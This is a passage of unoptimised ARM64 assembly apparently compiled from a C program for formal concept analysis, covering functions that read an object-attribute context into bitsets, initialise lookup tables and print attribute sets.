w11, w9, w10 ldr w9, [x8, _attr_offset@PAGEOFF] ; implicit-def: $x8 mov x8, x9 mov x9, sp ; implicit-def: $x10 mov x10, x11 str x10, [x9] str x8, [x9, #8] adrp x1, l_.str@PAGE add x1, x1, l_.str@PAGEOFF bl _fprintf mov w0, #1 bl _exit LBB0_18: mov w8, #1 stur w8, [x29, #-4] b LBB0_19 LBB0_19: ldur w0, [x29, #-4] ldp x29, x30, [sp, #64] ; 16-byte Folded Reload add sp, sp, #80 ret .cfi_endproc ; -- End function .globl _table_of_ints_init ; -- Begin function table_of_ints_init .p2align 2 _table_of_ints_init: ; @table_of_ints_init .cfi_startproc ; %bb.0: sub sp, sp, #48 .cfi_def_cfa_offset 48 stp x29, x30, [sp, #32] ; 16-byte Folded Spill add x29, sp, #32 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 adrp x8, _table_of_ints@GOTPAGE ldr x8, [x8, _table_of_ints@GOTPAGEOFF] str x8, [sp, #16] ; 8-byte Folded Spill stur w0, [x29, #-4] ldursw x9, [x29, #-4] mov x8, #12 mul x0, x8, x9 bl _malloc ldr x8, [sp, #16] ; 8-byte Folded Reload str x0, [x8] stur wzr, [x29, #-8] b LBB1_1 LBB1_1: ; =>This Inner Loop Header: Depth=1 ldur w8, [x29, #-8] ldur w9, [x29, #-4] subs w8, w8, w9 cset w8, ge tbnz w8, #0, LBB1_4 b LBB1_2 LBB1_2: ; in Loop: Header=BB1_1 Depth=1 ldr x8, [sp, #16] ; 8-byte Folded Reload ldr x8, [x8] ldursw x9, [x29, #-8] mov x10, #12 str x10, [sp, #8] ; 8-byte Folded Spill mul x9, x9, x10 add x0, x8, x9 ldur w9, [x29, #-8] ; implicit-def: $x8 mov x8, x9 mov x9, sp str x8, [x9] mov w1, #0 mov x2, #8 adrp x3, l_.str.1@PAGE add x3, x3, l_.str.1@PAGEOFF bl ___sprintf_chk ldr x8, [sp, #16] ; 8-byte Folded Reload ldr x10, [sp, #8] ; 8-byte Folded Reload ldr x8, [x8] ldursw x9, [x29, #-8] mul x9, x9, x10 add x0, x8, x9 bl _strlen ldr x8, [sp, #16] ; 8-byte Folded Reload ldr x10, [sp, #8] ; 8-byte Folded Reload ldr x8, [x8] ldursw x9, [x29, #-8] mul x9, x9, x10 add x9, x8, x9 mov x8, x0 str w8, [x9, #8] b LBB1_3 LBB1_3: ; in Loop: Header=BB1_1 Depth=1 ldur w8, [x29, #-8] add w8, w8, #1 stur w8, [x29, #-8] b LBB1_1 LBB1_4: ldp x29, x30, [sp, #32] ; 16-byte Folded Reload add sp, sp, #48 ret .cfi_endproc ; -- End function .globl _read_context ; -- Begin function read_context .p2align 2 _read_context: ; @read_context .cfi_startproc ; %bb.0: sub sp, sp, #96 .cfi_def_cfa_offset 96 stp x29, x30, [sp, #80] ; 16-byte Folded Spill add x29, sp, #80 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 adrp x8, ___stderrp@GOTPAGE ldr x8, [x8, ___stderrp@GOTPAGEOFF] str x8, [sp, #8] ; 8-byte Folded Spill adrp x8, _context@GOTPAGE ldr x8, [x8, _context@GOTPAGEOFF] str x8, [sp, #16] ; 8-byte Folded Spill stur x0, [x29, #-8] mov w8, #-1 stur w8, [x29, #-12] stur wzr, [x29, #-16] stur w8, [x29, #-20] stur w8, [x29, #-24] str wzr, [sp, #40] str wzr, [sp, #36] mov x8, #1024 str x8, [sp, #24] adrp x8, _attr_offset@PAGE ldr w8, [x8, _attr_offset@PAGEOFF] subs w8, w8, #0 cset w8, ge tbnz w8, #0, LBB2_2 b LBB2_1 LBB2_1: adrp x8, _attr_offset@PAGE str wzr, [x8, _attr_offset@PAGEOFF] b LBB2_2 LBB2_2: ldr x9, [sp, #24] mov x8, #4 mul x0, x8, x9 bl _malloc stur x0, [x29, #-32] ldur x8, [x29, #-32] subs x8, x8, #0 cset w8, ne tbnz w8, #0, LBB2_4 b LBB2_3 LBB2_3: ldr x8, [sp, #8] ; 8-byte Folded Reload ldr x0, [x8] adrp x1, l_.str.2@PAGE add x1, x1, l_.str.2@PAGEOFF bl _fprintf mov w0, #3 bl _exit LBB2_4: b LBB2_5 LBB2_5: ; =>This Inner Loop Header: Depth=1 ldur x0, [x29, #-8] sub x1, x29, #16 bl _get_next_integer subs w8, w0, #0 cset w8, eq tbnz w8, #0, LBB2_23 b LBB2_6 LBB2_6: ; in Loop: Header=BB2_5 Depth=1 ldur w8, [x29, #-16] subs w8, w8, #0 cset w8, ge tbnz w8, #0, LBB2_9 b LBB2_7 LBB2_7: ; in Loop: Header=BB2_5 Depth=1 ldur w8, [x29, #-12] subs w8, w8, #0 cset w8, ge tbnz w8, #0, LBB2_9 b LBB2_8 LBB2_8: ; in Loop: Header=BB2_5 Depth=1 b LBB2_5 LBB2_9: ; in Loop: Header=BB2_5 Depth=1 ldur w8, [x29, #-16] subs w8, w8, #0 cset w8, ge tbnz w8, #0, LBB2_15 b LBB2_10 LBB2_10: ; in Loop: Header=BB2_5 Depth=1 ldur w8, [x29, #-24] add w8, w8, #1 stur w8, [x29, #-24] ldrsw x8, [sp, #40] ldr x9, [sp, #24] subs x8, x8, x9 cset w8, lo tbnz w8, #0, LBB2_14 b LBB2_11 LBB2_11: ; in Loop: Header=BB2_5 Depth=1 ldr x8, [sp, #24] add x8, x8, #1024 str x8, [sp, #24] ldur x0, [x29, #-32] ldr x9, [sp, #24] mov x8, #4 mul x1, x8, x9 bl _realloc stur x0, [x29, #-32] ldur x8, [x29, #-32] subs x8, x8, #0 cset w8, ne tbnz w8, #0, LBB2_13 b LBB2_12 LBB2_12: ldr x8, [sp, #8] ; 8-byte Folded Reload ldr x0, [x8] adrp x1, l_.str.3@PAGE add x1, x1, l_.str.3@PAGEOFF bl _fprintf mov w0, #4 bl _exit LBB2_13: ; in Loop: Header=BB2_5 Depth=1 b LBB2_14 LBB2_14: ; in Loop: Header=BB2_5 Depth=1 ldur x9, [x29, #-32] ldrsw x10, [sp, #40] mov w8, #-1 str w8, [x9, x10, lsl #2] ldr w8, [sp, #40] add w8, w8, #1 str w8, [sp, #40] b LBB2_22 LBB2_15: ; in Loop: Header=BB2_5 Depth=1 ldur w8, [x29, #-16] ldur w9, [x29, #-20] subs w8, w8, w9 cset w8, le tbnz w8, #0, LBB2_17 b LBB2_16 LBB2_16: ; in Loop: Header=BB2_5 Depth=1 ldur w8, [x29, #-16] stur w8, [x29, #-20] b LBB2_17 LBB2_17: ; in Loop: Header=BB2_5 Depth=1 ldrsw x8, [sp, #40] ldr x9, [sp, #24] subs x8, x8, x9 cset w8, lo tbnz w8, #0, LBB2_21 b LBB2_18 LBB2_18: ; in Loop: Header=BB2_5 Depth=1 ldr x8, [sp, #24] add x8, x8, #1024 str x8, [sp, #24] ldur x0, [x29, #-32] ldr x9, [sp, #24] mov x8, #4 mul x1, x8, x9 bl _realloc stur x0, [x29, #-32] ldur x8, [x29, #-32] subs x8, x8, #0 cset w8, ne tbnz w8, #0, LBB2_20 b LBB2_19 LBB2_19: ldr x8, [sp, #8] ; 8-byte Folded Reload ldr x0, [x8] adrp x1, l_.str.3@PAGE add x1, x1, l_.str.3@PAGEOFF bl _fprintf mov w0, #4 bl _exit LBB2_20: ; in Loop: Header=BB2_5 Depth=1 b LBB2_21 LBB2_21: ; in Loop: Header=BB2_5 Depth=1 ldur w8, [x29, #-16] ldur x9, [x29, #-32] ldrsw x10, [sp, #40] str w8, [x9, x10, lsl #2] ldr w8, [sp, #40] add w8, w8, #1 str w8, [sp, #40] adrp x9, _table_entries@PAGE ldr w8, [x9, _table_entries@PAGEOFF] add w8, w8, #1 str w8, [x9, _table_entries@PAGEOFF] b LBB2_22 LBB2_22: ; in Loop: Header=BB2_5 Depth=1 ldur w8, [x29, #-16] stur w8, [x29, #-12] b LBB2_5 LBB2_23: ldur w8, [x29, #-12] subs w8, w8, #0 cset w8, lt tbnz w8, #0, LBB2_29 b LBB2_24 LBB2_24: ldur w8, [x29, #-24] add w8, w8, #1 stur w8, [x29, #-24] ldrsw x8, [sp, #40] ldr x9, [sp, #24] subs x8, x8, x9 cset w8, lo tbnz w8, #0, LBB2_28 b LBB2_25 LBB2_25: ldr x8, [sp, #24] add x8, x8, #1024 str x8, [sp, #24] ldur x0, [x29, #-32] ldr x9, [sp, #24] mov x8, #4 mul x1, x8, x9 bl _realloc stur x0, [x29, #-32] ldur x8, [x29, #-32] subs x8, x8, #0 cset w8, ne tbnz w8, #0, LBB2_27 b LBB2_26 LBB2_26: ldr x8, [sp, #8] ; 8-byte Folded Reload ldr x0, [x8] adrp x1, l_.str.3@PAGE add x1, x1, l_.str.3@PAGEOFF bl _fprintf mov w0, #4 bl _exit LBB2_27: b LBB2_28 LBB2_28: ldur x9, [x29, #-32] ldrsw x10, [sp, #40] mov w8, #-1 str w8, [x9, x10, lsl #2] ldr w8, [sp, #40] add w8, w8, #1 str w8, [sp, #40] b LBB2_29 LBB2_29: ldur w8, [x29, #-24] add w8, w8, #1 adrp x9, _objects@PAGE str w8, [x9, _objects@PAGEOFF] ldur w8, [x29, #-20] add w10, w8, #1 adrp x8, _attributes@PAGE str w10, [x8, _attributes@PAGEOFF] ldrsw x8, [x8, _attributes@PAGEOFF] mov x11, #64 udiv x8, x8, x11 add x10, x8, #1 adrp x8, _int_count_a@PAGE ; kill: def $w10 killed $w10 killed $x10 str w10, [x8, _int_count_a@PAGEOFF] ldrsw x10, [x9, _objects@PAGEOFF] udiv x10, x10, x11 add x10, x10, #1 adrp x11, _int_count_o@PAGE ; kill: def $w10 killed $w10 killed $x10 str w10, [x11, _int_count_o@PAGEOFF] ldrsw x10, [x8, _int_count_a@PAGEOFF] mov x8, #8 mul x8, x8, x10 ldrsw x9, [x9, _objects@PAGEOFF] mul x0, x8, x9 bl _malloc ldr x8, [sp, #16] ; 8-byte Folded Reload str x0, [x8] ldr x8, [x8] subs x8, x8, #0 cset w8, ne tbnz w8, #0, LBB2_31 b LBB2_30 LBB2_30: ldr x8, [sp, #8] ; 8-byte Folded Reload ldr x0, [x8] adrp x1, l_.str.4@PAGE add x1, x1, l_.str.4@PAGEOFF bl _fprintf mov w0, #5 bl _exit LBB2_31: ldr x8, [sp, #16] ; 8-byte Folded Reload ldr x0, [x8] adrp x8, _int_count_a@PAGE ldrsw x9, [x8, _int_count_a@PAGEOFF] mov x8, #8 mul x8, x8, x9 adrp x9, _objects@PAGE ldrsw x9, [x9, _objects@PAGEOFF] mul x2, x8, x9 mov w1, #0 mov x3, #-1 bl ___memset_chk stur wzr, [x29, #-36] b LBB2_32 LBB2_32: ; =>This Inner Loop Header: Depth=1 ldur w8, [x29, #-36] ldr w9, [sp, #40] subs w8, w8, w9 cset w8, ge tbnz w8, #0, LBB2_37 b LBB2_33 LBB2_33: ; in Loop: Header=BB2_32 Depth=1 ldur x8, [x29, #-32] ldursw x9, [x29, #-36] ldr w8, [x8, x9, lsl #2] subs w8, w8, #0 cset w8, ge tbnz w8, #0, LBB2_35 b LBB2_34 LBB2_34: ; in Loop: Header=BB2_32 Depth=1 ldr w8, [sp, #36] add w8, w8, #1 str w8, [sp, #36] b LBB2_36 LBB2_35: ; in Loop: Header=BB2_32 Depth=1 ldr x8, [sp, #16] ; 8-byte Folded Reload ldur x9, [x29, #-32] ldursw x10, [x29, #-36] ldrsw x9, [x9, x10, lsl #2] mov x12, #64 udiv x10, x9, x12 mul x10, x10, x12 subs x10, x9, x10 mov x9, #63 subs x10, x9, x10 mov x9, #1 lsl x10, x9, x10 ldr x8, [x8] ldr w9, [sp, #36] adrp x11, _int_count_a@PAGE ldr w11, [x11, _int_count_a@PAGEOFF] mul w11, w9, w11 ldur x9, [x29, #-32] ldursw x13, [x29, #-36] ldrsw x9, [x9, x13, lsl #2] udiv x9, x9, x12 add x9, x9, w11, sxtw add x9, x8, x9, lsl #3 ldr x8, [x9] orr x8, x8, x10 str x8, [x9] b LBB2_36 LBB2_36: ; in Loop: Header=BB2_32 Depth=1 ldur w8, [x29, #-36] add w8, w8, #1 stur w8, [x29, #-36] b LBB2_32 LBB2_37: ldur x0, [x29, #-32] bl _free ldp x29, x30, [sp, #80] ; 16-byte Folded Reload add sp, sp, #96 ret .cfi_endproc ; -- End function .globl _print_attributes ; -- Begin function print_attributes .p2align 2 _print_attributes: ; @print_attributes .cfi_startproc ; %bb.0: sub sp, sp, #368 .cfi_def_cfa_offset 368 stp x28, x27, [sp, #336] ; 16-byte Folded Spill stp x29, x30, [sp, #352] ; 16-byte Folded Spill add x29, sp, #352 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w27, -24 .cfi_offset w28, -32 adrp x8, ___stack_chk_guard@GOTPAGE ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF] ldr x8, [x8] stur x8, [x29, #-24] str x0, [sp, #48] mov w8, #1 str w8, [sp, #32] str wzr, [sp, #28] str wzr, [sp, #24] adrp x8, _verbosity_level@PAGE ldr w8, [x8, _verbosity_level@PAGEOFF] subs w8, w8, #0 cset w8, gt tbnz w8, #0, LBB3_2 b LBB3_1 LBB3_1: b LBB3_24 LBB3_2: str wzr, [sp, #40] str wzr, [sp, #36] b LBB3_3 LBB3_3: ; =>This Loop Header: Depth=1 ; Child Loop BB3_5 Depth 2 ldr w8, [sp, #40] adrp x9, _int_count_a@PAGE ldr w9, [x9, _int_count_a@PAGEOFF] subs w8, w8, w9 cset w8, ge tbnz w8, #0, LBB3_20 b LBB3_4 LBB3_4: ; in Loop: Header=BB3_3 Depth=1 mov w8, #63 str w8, [sp, #44] b LBB3_5 LBB3_5: ; Parent Loop BB3_3 Depth=1 ; => This Inner Loop Header: Depth=2 ldr w8, [sp, #44] subs w8, w8, #0 cset w8, lt tbnz w8, #0, LBB3_18 b LBB3_6 LBB3_6: ; in Loop: Header=BB3_5 Depth=2 ldr x8, [sp, #48] ldrsw x9, [sp, #40] ldr x8, [x8, x9, lsl #3] ldr w9, [sp, #44] mov x10, x9 mov x9, #1 lsl x9, x9, x10 ands x8, x8, x9 cset w8, eq tbnz w8, #0, LBB3_14 b LBB3_7 LBB3_7: ; in Loop: Header=BB3_5 Depth=2 ldr w8, [sp, #32] subs w8, w8, #0 cset w8, ne tbnz w8, #0, LBB3_9 b LBB3_8 LBB3_8: ; in Loop: Header=BB3_5 Depth=2 ldrsw x9, [sp, #28] mov x8, x9 add w8, w8, #1 str w8, [sp, #28] add x8, sp, #62 add x9, x8, x9 mov w8, #32 strb w8, [x9] b LBB3_9 LBB3_9: ; in Loop: Header=BB3_5 Depth=2 ldrsw x9, [sp, #28] add x8, sp, #62 add x0, x8, x9 adrp x8, _table_of_ints@GOTPAGE ldr x8, [x8, _table_of_ints@GOTPAGEOFF] str x8, [sp, #8] ; 8-byte Folded Spill ldr x8, [x8] ldrsw x9, [sp, #36] mov x10, #12 str x10, [sp, #16] ; 8-byte Folded Spill mul x9, x9, x10 add x1, x8, x9 mov x2, #-1 bl ___strcpy_chk ldr x8, [sp, #8] ; 8-byte Folded Reload ldr x10, [sp, #16] ; 8-byte Folded Reload ldr x8, [x8] ldrsw x9, [sp, #36] mul x9, x9, x10 add x8, x8, x9 ldr w9, [x8, #8] ldr w8, [sp, #28] add w8, w8, w9 str w8, [sp, #28] ldr w8, [sp, #28] subs w8, w8, #256 cset w8, lt tbnz w8, #0, LBB3_13 b LBB3_10 LBB3_10: ; in Loop: Header=BB3_5 Depth=2 ldrsw x9, [sp, #28] add x8, sp, #62 add x8, x8, x9 strb wzr, [x8] str wzr, [sp, #28] ldr w8, [sp, #24] subs w8, w8, #0 cset w8, ne tbnz w8, #0, LBB3_12 b LBB3_11 LBB3_11: ; in Loop: Header=BB3_5 Depth=2 adrp x0, _output_lock@PAGE add x0, x0, _output_lock@PAGEOFF bl _pthread_mutex_lock mov w8, #1 str w8, [sp, #24] b LBB3_12 LBB3_12: ; in Loop: Header=BB3_5 Depth=2 adrp x8, _out_file@GOTPAGE ldr x8, [x8, _out_file@GOTPAGEOFF] ldr x1, [x8] add x0, sp, #62 bl _fputs b LBB3_13 LBB3_13: ; in Loop: Header=BB3_5 Depth=2 str wzr, [sp, #32] b LBB3_14 LBB3_14: ; in Loop: Header=BB3_5 Depth=2 ldr w8, [sp, #36] add w8, w8, #1 str w8, [sp, #36] ldr w8, [sp, #36] adrp x9, _attributes@PAGE ldr w9, [x9, _attributes@PAGEOFF] subs w8, w8, w9 cset w8, lt tbnz w8, #0, LBB3_16 b LBB3_15 LBB3_15: b LBB3_21 LBB3_16: ; in Loop: Header=BB3_5 Depth=2 b LBB3_17 LBB3_17: ; in Loop: Header=BB3_5 Depth=2 ldr w8, [sp, #44] subs w8, w8, #1 str w8, [sp, #44] b LBB3_5 LBB3_18: ; in Loop: Header=BB3_3 Depth=1 b LBB3_19 LBB3_19: ; in Loop: Header=BB3_3 Depth=1 ldr w8, [sp, #40] add w8, w8, #1 str w8, [sp, #40] b LBB3_3 LBB3_20: b LBB3_21 LBB3_21: ldrsw x10, [sp, #28] mov x8, x10 add w8, w8, #1 str w8, [sp, #28] add x8, sp, #62 mov x9, x8 add x10, x9, x10 mov w9, #10 strb w9, [x10] ldrsw x9, [sp, #28] add x8, x8, x9 strb wzr, [x8] ldr w8, [sp, #24] subs w8, w8, #0 cset w8, ne tbnz w8, #0, LBB3_23 b LBB3_22 LBB3_22: adrp x0, _output_lock@PAGE add x0, x0, _output_lock@PAGEOFF bl _pthread_mutex_lock b LBB3_23 LBB3_23: adrp x8, _out_file@GOTPAGE ldr x8, [x8, _out_file@GOTPAGEOFF] ldr x1, [x8] add x0, sp, #62 bl _fputs adrp x0, _output_lock@PAGE add x0, x0, _output_lock@PAGEOFF bl _pthread_mutex_unlock b LBB3_24 LBB3_24: ldur x9, [x29, #-24] adrp x8, ___stack_chk_guard@GOTPAGE ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF] ldr x8, [x8] subs x8, x8, x9 cset w8, eq tbnz w8, #0, LBB3_26 b LBB3_25 LBB3_25: bl ___stack_chk_fail LBB3_26: ldp x29, x30, [sp, #352] ; 16-byte Folded Reload ldp x28, x27, [sp, #336] ; 16-byte Folded Reload add sp, sp, #368 ret .cfi_endproc ; -- End function .globl _print_context_info ; -- Begin function print_context_info .p2align 2 _print_context_info: ; @print_context_info .cfi_startproc ; %bb.0: sub sp, sp, #48 .cfi_def_cfa_offset 48 stp x29, x30, [sp, #32] ; 16-byte Folded Spill add x29, sp, #32 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 adrp x8, _verbosity_level@PAGE ldr w8, [x8, _verbosity_level@PAGEOFF] subs w8, w8, #2 cset w8, lt tbnz w8, #0, LBB4_2 b LBB4_1 LBB4_1: adrp x8, ___stderrp@GOTPAGE ldr x8, [x8, ___stderrp@GOTPAGEOFF] ldr x0, [x8] adrp x8, _objects@PAGE ldr w8, [x8, _objects@PAGEOFF] ; implicit-def: $x11 mov x11, x8 adrp x8, _attributes@PAGE ldr w8, [x8, _attributes@PAGEOFF] ; implicit-def: $x10 mov x10, x8 adrp x8, _table_entries@PAGE ldr w9, [x8, _table_entries@PAGEOFF] ; implicit-def: $x8 mov x8, x9 mov x9, sp str x11, [x9] str x10, [x9, #8] str x8, [x9, #16] adrp x1, l_.str.5@PAGE add x1, x1, l_.str.5@PAGEOFF bl _fprintf b LBB4_2 LBB4_2: ldp x29, x30, [sp, #32] ; 16-byte Folded Reload add sp, sp, #48 ret .cfi_endproc ; -- End function .globl _print_thread_info ; -- Begin function print_thread_info .p2align 2 _print_thread_info: ; @print_thread_info .cfi_startproc ; %bb.0: sub sp, sp, #96 .cfi_def_cfa_offset 96 stp x29, x30, [sp, #80] ; 16-byte Folded Spill add x29, sp, #80 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 adrp x8, ___stack_chk_guard@GOTPAGE ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF] ldr x8, [x8] stur x8, [x29, #-8] stur x1, [x29, #-24] stur x2, [x29, #-16] ldur x8, [x29, #-24] str x8, [sp, #40] ldur w8, [x29, #-16] str w8, [sp, #48] str w0, [sp, #36] adrp x8, _verbosity_level@PAGE ldr w8, [x8, _verbosity_level@PAGEOFF] subs w8, w8, #2 cset w8, lt tbnz w8, #0, LBB5_2 b LBB5_1 LBB5_1: adrp x8, ___stderrp@GOTPAGE ldr x8, [x8, ___stderrp@GOTPAGEOFF] ldr x0, [x8] ldr w8, [sp, #36] ; implicit-def: $x12 mov x12, x8 ldr w8, [sp, #40] ; implicit-def: $x11 mov x11, x8 ldr w8, [sp, #44] ; implicit-def: $x10 mov x10, x8 ldr w9, [sp, #48] ; implicit-def: $x8 mov x8, x9 mov x9, sp str x12, [x9] str x11, [x9, #8] str x10, [x9, #16] str x8, [x9, #24] adrp x1, l_.str.6@PAGE add x1, x1, l_.str.6@PAGEOFF bl _fprintf b LBB5_2 LBB5_2: ldur x9, [x29, #-8] adrp x8, ___stack_chk_guard@GOTPAGE ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF] ldr x8, [x8] subs x8, x8, x9 cset w8, eq tbnz w8, #0, LBB5_4 b LBB5_3 LBB5_3: bl ___stack_chk_fail LBB5_4: ldp x29, x30, [sp, #80] ; 16-byte Folded Reload add sp, sp, #96 ret .cfi_endproc ; -- End function .globl _print_initial_thread_info ; -- Begin function print_initial_thread_info .p2align 2 _print_initial_thread_info: ; @print_initial_thread_info .cfi_startproc ; %bb.0: sub sp, sp, #112 .cfi_def_cfa_offset 112 stp x29, x30, [sp, #96] ; 16-byte Folded Spill add x29, sp, #96 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 adrp x8, ___stack_chk_guard@GOTPAGE ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF] ldr x8, [x8] stur x8, [x29, #-8] stur x1, [x29, #-24] stur x2, [x29, #-16] ldur x8, [x29, #-24] stur x8, [x29, #-40] ldur w8, [x29, #-16] stur w8, [x29, #-32] stur w0, [x29, #-44] str w3, [sp, #48] adrp x8, _verbosity_level@PAGE ldr w8, [x8, _verbosity_level@PAGEOFF] subs w8, w8, #2 cset w8, lt tbnz w8, #0, LBB6_2 b LBB6_1 LBB6_1: adrp x8, ___stderrp@GOTPAGE ldr x8, [x8, ___stderrp@GOTPAGEOFF] ldr x0, [x8] ldur w8, [x29, #-40] ; implicit-def: $x12 mov x12, x8 ldur w8, [x29, #-36] ; implicit-def: $x10 mov x10, x8 ldur w8, [x29, #-44] add w11, w8, #1 ldr w9, [sp, #48] ; implicit-def: $x8 mov x8, x9 mov x9, sp str xzr, [x9] str x12, [x9, #8] str x10, [x9, #16] ; implicit-def: $x10 mov x10, x11 str x10, [x9, #24] str x8, [x9, #32] adrp x1, l_.str.7@PAGE add x1, x1, l_.str.7@PAGEOFF bl _fprintf b LBB6_2 LBB6_2: ldur x9, [x29, #-8] adrp x8, ___stack_chk_guard@GOTPAGE ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF] ldr x8, [x8] subs x8, x8, x9 cset w8, eq tbnz w8, #0, LBB6_4 b LBB6_3 LBB6_3: bl ___stack_chk_fail LBB6_4: ldp x29, x30, [sp, #96] ; 16-byte Folded Reload add sp, sp, #112 ret .cfi_endproc ; -- End function .globl _initialize_algorithm ; -- Begin function initialize_algorithm .p2align 2 _initialize_algorithm: ; @initialize_algorithm .cfi_startproc ; %bb.0: sub sp, sp, #96 .cfi_def_cfa_offset 96 stp x29, x30, [sp, #80] ; 16-byte Folded Spill add x29, sp, #80 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 adrp x8, _supps@GOTPAGE ldr x8, [x8, _supps@GOTPAGEOFF] str x8, [sp, #32] ; 8-byte Folded Spill stur wzr, [x29, #-4] b LBB7_1 LBB7_1: ; =>This Loop Header: Depth=1 ; Child Loop BB7_3 Depth 2 ldursw x8, [x29, #-4] subs x8, x8, #63 cset w8, hi tbnz w8, #0, LBB7_8 b LBB7_2 LBB7_2: ; in Loop: Header=BB7_1 Depth=1 ldursw x10, [x29, #-4] adrp x9, _upto_bit@GOTPAGE ldr x9, [x9, _upto_bit@GOTPAGEOFF] mov x8, #0 str x8, [x9, x10, lsl #3] mov w8, #63 stur w8, [x29, #-8] b LBB7_3 LBB7_3: ; Parent Loop BB7_1 Depth=1 ; => This Inner Loop Header: Depth=2 ldur w8, [x29, #-8] ldur w9, [x29, #-4] subs w8, w8, w9 cset w8, le tbnz w8, #0, LBB7_6 b LBB7_4 LBB7_4: ; in Loop: Header=BB7_3 Depth=2 ldur w8, [x29, #-8] mov x9, x8 mov x8, #1 lsl x10, x8, x9 ldursw x9, [x29, #-4] adrp x8, _upto_bit@GOTPAGE ldr x8, [x8, _upto_bit@GOTPAGEOFF] add x9, x8, x9, lsl #3 ldr x8, [x9] orr x8, x8, x10 str x8, [x9] b LBB7_5 LBB7_5: ; in Loop: Header=BB7_3 Depth=2 ldur w8, [x29, #-8] subs w8, w8, #1 stur w8, [x29, #-8] b LBB7_3 LBB7_6: ; in Loop: Header=BB7_1 Depth=1 b LBB7_7 LBB7_7: ; in Loop: Header=BB7_1 Depth=1 ldur w8, [x29, #-4] add w8, w8, #1 stur w8, [x29, #-4] b LBB7_1 LBB7_8: adrp x8, _int_count_o@PAGE str x8, [sp, #8] ; 8-byte Folded Spill ldrsw x9, [x8, _int_count_o@PAGEOFF] mov x8, #8 str x8, [sp, #16] ; 8-byte Folded Spill mul x8, x8, x9 lsl x8, x8, #6 adrp x9, _int_count_a@PAGE str x9, [sp, #24] ; 8-byte Folded Spill ldrsw x9, [x9, _int_count_a@PAGEOFF] mul x0, x8, x9 bl _malloc ldr x10, [sp, #8] ; 8-byte Folded Reload ldr x8, [sp, #16] ; 8-byte Folded Reload ldr x9, [sp, #24] ; 8-byte Folded Reload str x0, [sp, #40] ldr x0, [sp, #40] ldrsw x10, [x10, _int_count_o@PAGEOFF] mul x8, x8, x10 lsl x8, x8, #6 ldrsw x9, [x9, _int_count_a@PAGEOFF] mul x2, x8, x9 mov w1, #0 mov x3, #-1 bl ___memset_chk ldr x8, [sp, #24] ; 8-byte Folded Reload ldrsw x9, [x8, _int_count_a@PAGEOFF] mov x8, #512 mul x0, x8, x9 bl _malloc ldr x8, [sp, #24] ; 8-byte Folded Reload adrp x9, _cols@GOTPAGE ldr x9, [x9, _cols@GOTPAGEOFF] str x0, [x9] ldrsw x9, [x8, _int_count_a@PAGEOFF] mov x8, #256 mul x0, x8, x9 bl _malloc ldr x8, [sp, #32] ; 8-byte Folded Reload str x0, [x8] ldr x8, [sp, #40] stur x8, [x29, #-24] stur wzr, [x29, #-8] b LBB7_9 LBB7_9: ; =>This Loop Header: Depth=1 ; Child Loop BB7_11 Depth 2 ; Child Loop BB7_13 Depth 3 ldur w8, [x29, #-8] adrp x9, _int_count_a@PAGE ldr w9, [x9, _int_count_a@PAGEOFF] subs w8, w8, w9 cset w8, ge tbnz w8, #0, LBB7_22 b LBB7_10 LBB7_10: ; in Loop: Header=BB7_9 Depth=1 mov w8, #63 stur w8, [x29, #-4] b LBB7_11 LBB7_11: ; Parent Loop BB7_9 Depth=1 ; => This Loop Header: Depth=2 ; Child Loop BB7_13 Depth 3 ldur w8, [x29, #-4] subs w8, w8, #0 cset w8, lt tbnz w8, #0, LBB7_20 b LBB7_12 LBB7_12: ; in Loop: Header=BB7_11 Depth=2 ldr x8, [sp, #32] ; 8-byte Folded Reload ldur w9, [x29, #-4] mov x10, x9 mov x9, #1 lsl x9, x9, x10 stur x9, [x29, #-32] ldur x9, [x29, #-24] adrp x10, _cols@GOTPAGE ldr x10, [x10, _cols@GOTPAGEOFF] ldr x10, [x10] ldursw x11, [x29, #-8] add x10, x10, x11, lsl #9 ldursw x11, [x29, #-4] str x9, [x10, x11, lsl #3] ldr x8, [x8] ldursw x9, [x29, #-8] add x9, x8, x9, lsl #8 ldursw x10, [x29, #-4] mov w8, #0 str w8, [x9, x10, lsl #2] stur wzr, [x29, #-12] ldur w8, [x29, #-8] stur w8, [x29, #-16] b LBB7_13 LBB7_13: ; Parent Loop BB7_9 Depth=1 ; Parent Loop BB7_11 Depth=2 ; => This Inner Loop Header: Depth=3 ldur w8, [x29, #-12] adrp x9, _objects@PAGE ldr w9, [x9, _objects@PAGEOFF] subs w8, w8, w9 cset w8, ge tbnz w8, #0, LBB7_18 b LBB7_14 LBB7_14: ; in Loop: Header=BB7_13 Depth=3 adrp x8, _context@GOTPAGE ldr x8, [x8, _context@GOTPAGEOFF] ldr x8, [x8] ldursw x9, [x29, #-16] ldr x8, [x8, x9, lsl #3] ldur x9, [x29, #-32] ands x8, x8, x9 cset w8, eq tbnz w8, #0, LBB7_16 b LBB7_15 LBB7_15: ; in Loop: Header=BB7_13 Depth=3 ldr x8, [sp, #32] ; 8-byte Folded Reload ldursw x9, [x29, #-12] mov x12, #64 udiv x10, x9, x12 mul x10, x10, x12 subs x10, x9, x10 mov x9, #1 lsl x11, x9, x10 ldur x9, [x29, #-24] ldursw x10, [x29, #-12] udiv x10, x10, x12 add x10, x9, x10, lsl #3 ldr x9, [x10] orr x9, x9, x11 str x9, [x10] ldr x8, [x8] ldursw x9, [x29, #-8] add x8, x8, x9, lsl #8 ldursw x9, [x29, #-4] add x9, x8, x9, lsl #2 ldr w8, [x9] add w8, w8, #1 str w8, [x9] b LBB7_16 LBB7_16: ; in Loop: Header=BB7_13 Depth=3 b LBB7_17 LBB7_17: ; in Loop: Header=BB7_13 Depth=3 ldur w8, [x29, #-12] add w8, w8, #1 stur w8, [x29, #-12] adrp x8, _int_count_a@PAGE ldr w9, [x8, 